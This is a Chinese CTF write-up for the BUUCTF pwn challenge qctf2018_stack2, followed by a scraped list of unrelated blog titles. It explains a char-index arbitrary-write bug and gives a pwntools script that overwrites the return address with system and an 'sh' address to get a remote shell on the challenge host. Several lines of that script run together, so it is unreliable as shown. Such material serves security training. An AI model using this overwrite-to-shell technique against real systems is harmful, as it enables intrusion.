[BUUCTF-pwn]——qctf2018_stack2
[BUUCTF-pwn]——qctf2018_stack2
这道题注意一点v3的类型就好, 其他应该木有什么可以说的吧, 它是char*类型., 也就是每个我们赋值的v7只有低位的一个字节可以写进去
漏洞就在这里, 可以利用这里, 以v3为基准修改任意地址的数据.
还有一点需要注意的是偏移, 我最一开始写的时候, 想当然写成了0x40+4
主要原因是因为画圈的位置改变了esp, 懒得看汇编往上面找了直接动态调试.
第一次执行该汇编的时候, eax就是我们开始输入的位置
然后直接定位到retn看栈顶
找下sh位置
exploit
from pwn import*
p=remote('node3.buuoj.cn',26346)
p.sendlineafter("How many numbers you have:\n","1")
p.sendlineafter("Give me your numbers\n","1")
p.recvuntil("5. exit\n")offset=0x84
sys = 0x08048450def write_addr(addr,num):p.sendline("3")p.sendlineafter("which number to change:\n",str(addr))p.sendlineafter("new number:\n",str(num))p.recvuntil("5. exit\n")write_addr(offset,0X50)
write_addr(offset+1,0X84)
write_addr(offset+2,0X04)
write_addr(offset+3,0X08)
sh_addr = 0x08048987
offset+=8
write_addr(offset,0x87)
write_addr(offset+1,0X89)
write_addr(offset+2,0X04)
write_addr(offset+3,0X08)p.sendline("5")
p.interactive()
[BUUCTF-pwn]——qctf2018_stack2相关推荐
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
- Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...
最新文章
- Spring AOP是什么?你都拿它做什么?
- 成为Java流专家–第2部分:中级操作
- Android官方开发文档Training系列课程中文版:连接无线设备之网络服务搜索功能
- 主从式网络的优点_贸泽电子原创开发板大赛【创意奖作品】物联网开发板做成主从机形式,是创意还是多此一举?...
- Qt文件编码转换工具(三) Qt界面设计
- nginx做下载文件服务器
- 宏观经济学考前主观大题汇总复习
- 用图片搜索图片的几个好网站
- 拥有PMP/ITIL/Prince2证书,你将享受这些国家福利
- gitbub(cp:http://www.linuxidc.com/Linux/2014-03/97821.htm)
- springboot整合es实现聚合搜索(api搜索版)
- 错误解决:ThinkPHP 3.1 { Fast Simple OOP PHP Framework } -- [ WE CAN DO IT JUST THINK ]
- 跟随阿里云贾扬清,走近AI开发者的奇幻漂流
- 用*打印一个长方形.
- gcc -Wall -pedantic -ansi(转载)
- 支付账户体系(分账接口)的9大价值
- 抓取梦幻西游藏宝阁数据,php过验证
- SPI读写FLASH 原理+完整代码
- 上月最新面过美团大众点评拿到offer的最新面经来了(技术三面+HR)
- 计算机——常用数制及转换
热门文章
- 单元格变色和图片透明
- PyTorch tensorboard报错:TensorBoard logging requires TensorBoard version 1.15 or above
- 679. 24 Game 24 点游戏
- 【MFC】类的层次结构图
- 【工业控制】什么是波形
- 【C++】 C++标准模板库(五)Stack
- android 自定义viewgroup onmeasure,一篇文章搞懂Android 自定义Viewgroup的难点
- 浙江省计算机网络技术比赛,[2018年最新整理]0509浙江省三级计算机网络技术历年真题(含答桉).doc...
- 两个sql交集_数据库(sql)关键字
- web_reverse_proxy -- haproxy